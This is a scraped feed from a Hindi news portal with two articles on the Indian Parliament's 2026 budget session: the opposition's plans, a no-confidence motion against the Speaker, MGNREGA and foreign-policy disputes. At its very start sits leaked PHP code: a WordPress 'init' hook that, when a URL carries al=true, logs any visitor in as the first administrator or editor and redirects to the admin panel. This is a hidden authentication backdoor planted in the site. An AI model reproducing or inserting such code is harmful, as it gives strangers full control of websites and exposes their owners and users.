// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); budget session – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 08 Mar 2026 07:55:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 बजट सत्र के दूसरे चरण की शुरुआत आज, स्पीकर के खिलाफ अविश्वास प्रस्ताव पर चर्चा; हंगामे के आसार https://pratyushaashakinayikiran.com/?p=203267 Sun, 08 Mar 2026 07:55:00 +0000 https://pratyushaashakinayikiran.com/?p=203267 नई दिल्ली
बजट सत्र का पहला चरण सत्ता पक्ष और विपक्ष की तीखी तकरार की भेंट चढ़ गया और अब दूसरा चरण सोमवार से शुरू हो रहा है। चूंकि, इस सत्र की शुरुआत ही लोकसभा अध्यक्ष ओम बिरला के विरुद्ध विपक्ष द्वारा लाए गए अविश्वास प्रस्ताव पर चर्चा के साथ होनी है, इसलिए हंगामे के पूरे आसार हैं।

इसके अलावा ईरान-इजरायल युद्ध, ईरानी सर्वोच्च नेता खामेनेई की मौत पर भारत के संतुलित रुख और रूस से तेल खरीद पर अमेरिकी दावे-दखल जैसे मुद्दों पर विपक्ष की जिस तरह की प्रतिक्रियाएं आ रही हैं, उससे इशारा मिलता है कि इनके सहारे सरकार को घेरने का प्रयास होगा। वहीं, सरकार भी कमर कसकर तैयार दिख रही है।

सरकार भी कर सकती है पलटवार
एआई इम्पैक्ट समिट में अंतरराष्ट्रीय मेहमानों के सामने कांग्रेस के अर्धनग्न प्रदर्शन के मामले में अन्य विपक्षी सहयोगियों का साथ न मिलने से कांग्रेस अकेले कठघरे में खड़ी है तो इसे देश के अपमान से जोड़कर सरकार भी करारा पलटवार कर सकती है।

इन मुद्दों पर हो सकता है गतिरोध
बजट सत्र के दूसरे चरण में वैश्विक संघर्ष और उसके प्रभाव संसद में गतिरोध का कारण बन सकते हैं। विपक्षी दल रूसी तेल की खरीद जारी रखने में अमेरिका के दावे को आधार बनाकर संसद में भी इन आरोपों के साथ चर्चा कराना चाहेगा कि भारत अमेरिका के दबाव में है, क्योंकि राहुल गांधी इस मुद्दे को तूल दे भी रहे हैं।

इसके साथ ही भारतीय समुद्री क्षेत्र में ईरानी युद्धपोत पर हमले की घटना को विपक्ष भारत के लिए सामरिक चुनौती के रूप में पेश कर सकता है। वहीं, खामेनेई की मौत पर भारत सरकार की शुरुआती चुप्पी पर भी कांग्रेस ने खास तौर पर सवाल उठाए हैं।

उधर, चुनावी मुहाने पर खड़े पश्चिम बंगाल में ममता बनर्जी एसआईआर के विरोध में प्रदर्शन कर रही हैं। टीएमसी सांसद ने मुख्य चुनाव आयुक्त के विरुद्ध जिस तरह के तीखे बयान दिए हैं, उससे पूरा अंदेशा है कि इस टीएमसी इसी मुद्दे पर संसद में गतिरोध पैदा करना चाहेगी।

सत्ता पक्ष की क्या है तैयारी?
हालांकि, लोकसभा स्पीकर के विरुद्ध अविश्वास प्रस्ताव को गिराने सहित विपक्ष को जवाब देने के लिए सत्ता पक्ष ने भी पूरी तैयारी की है। कांग्रेस को खास तौर पर एआइ समिट में किए गए प्रदर्शन को लेकर घेरा जाएगा।

उल्लेखनीय है कि बजट सत्र के पहले चरण में पूर्व सेनाध्यक्ष एमएम नरवणे की अप्रकाशित पुस्तक पर चर्चा के नेता प्रतिपक्ष राहुल गांधी के प्रयास से जोर पकड़ने वाला सियासी संग्राम पीठ के अपमान, आठ विपक्षी सांसदों के निलंबन और लोकसभा अध्यक्ष ओम बिरला के विरुद्ध अविश्वास प्रस्ताव से लेकर सत्ता पक्ष के इस आरोप तक पहुंचा कि कांग्रेस की महिला सांसदों ने सदन में पीएम की कुर्सी का घेराव कर उन पर हमले का षड्यंत्र रचा।

भारत-अमेरिका ट्रेड डील पर भी खींचतान चलती रही। सरकार अपनी ओर से तथ्य स्पष्ट करती रही और कांग्रेस समझौते पर सवाल उठाती रही। वह मामला दूसरा चरण में भी जारी रह सकता है, क्योंकि राजनीतिक मंचों से नेता प्रतिपक्ष इस मुद्दे को अभी भी लगातार उठा रहे हैं।

 

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बुधवार से संसद का बजट सत्र शुरू, मनरेगा–SIR पर घमासान तय; विपक्ष ने बैठक में बनाई सरकार घेरने की रणनीति https://pratyushaashakinayikiran.com/?p=194509 Tue, 27 Jan 2026 13:36:00 +0000 https://pratyushaashakinayikiran.com/?p=194509 नई दिल्ली
संसद का बजट सत्र बुधवार से शुरू हो रहा है, जिसके हंगामादार होने के आसार हैं। कांग्रेस और कुछ अन्य विपक्षी दलों ने मंगलवार को कहा कि मनरेगा, मोदी सरकार की विदेश नीति, अमेरिकी शुल्क, डॉलर के मुकाबले रुपये की कीमत में गिरावट, वायु प्रदूषण और जनहित के कई अन्य विषयों को उठाया जाएगा। बताया जा रहा है कि विपक्ष SIR पर और चर्चा चाहता है। सरकार की ओर से आज बुलाई गई सर्वदलीय बैठक में बजट सत्र को लेकर चर्चा की गई, हालांकि कांग्रेस ने इसे लेकर विरोध दर्ज कराया कि सरकार ने कोई विधायी एजेंडा सामने नहीं रखा है।
 
सरकार का कहना है कि एजेंडा बाद में दिया जाएगा, क्योंकि सत्र का पहला भाग राष्ट्रपति के अभिभाषण पर लाए जाने वाले धन्यवाद प्रस्ताव पर चर्चा और केंद्रीय बजट पर चर्चा पर केंद्रित होगा। राज्यसभा में कांग्रेस के उप नेता प्रमोद तिवारी ने यह आरोप भी लगाया कि सरकार संविधान से मिले अधिकारों को खत्म कर रही है और संवैधानिक संस्थाओं को कमजोर कर रही है। उन्होंने कहा, ‘‘विपक्ष विदेश नीति का विषय भी उठाएगा। हमारी विदेश नीति कहां पहुंच गई? कोई हमारे साथ खड़ा नहीं है। हमें यह भी नहीं पता चल रहा कि किसके साथ चलें, कौन हमारे साथ चलेगा।’’

प्रमोद तिवारी का कहना था कि सरकार की आर्थिक नीति की बात करें तो रुपया सबसे निचले स्तर पर पहुंच गया है। उन्होंने कहा, ‘‘अमेरिका की ओर से लगातार टैरिफ जारी है और रूसी तेल (की खरीद) का मुद्दा भी है। दिल्ली और दूसरी जगहों पर हमने वायु प्रदूषण का जो सबसे भयानक रूप देखा है, उसे देखते हुए हम यह मुद्दा भी उठाएंगे… हम इंदौर में दूषित पानी से होने वाली मौतों का मुद्दा भी उठाएंगे।’’

सर्वदलीय बैठक के बाद कांग्रेस नेता ने क्या कहा
कांग्रेस नेता ने कहा कि मनरेगा का मुद्दा भी बहुत महत्वपूर्ण है क्योंकि इस योजना की जगह नया कानून लाकर न केवल इसके नाम से महात्मा गांधी का नाम हटाया गया है, बल्कि ‘ग्रामीण क्षेत्र में रोजगार खत्म किया जा रहा है।’ उन्होंने यह भी कहा कि इसके अलावा जम्मू-कश्मीर के पूर्ण राज्य के दर्जे की बहाली, वोट चोरी और बेरोजगारी के मुद्दों को भी इस सत्र के दौरान उठाया जाएगा।

कांग्रेस सांसद कोडिकुनिल सुरेश ने कहा कि विपक्ष की मांग है कि महात्मा गांधी राष्ट्रीय ग्रामीण रोजगार गारंटी अधिनियम (मनरेगा) को बहाल किया जाए। तेलुगू देसम पार्टी (तेदेपा) के सांसद लावू श्रीकृष्ण देवरायालू ने कहा कि भारत जिन अलग-अलग मुक्त व्यापार समझौतों पर हस्ताक्षर कर रहा है, उन पर चर्चा होनी चाहिए। उन्होंने हैदराबाद की तर्ज पर अमरावती को "कानूनी दर्जा" देने की भी मांग की। बीजू जनता दल के सांसद सस्मित पात्रा ने कहा कि उनकी पार्टी ओडिशा में किसानों की परेशानी और बिगड़ती कानून-व्यवस्था का विषय उठाएगी।

 

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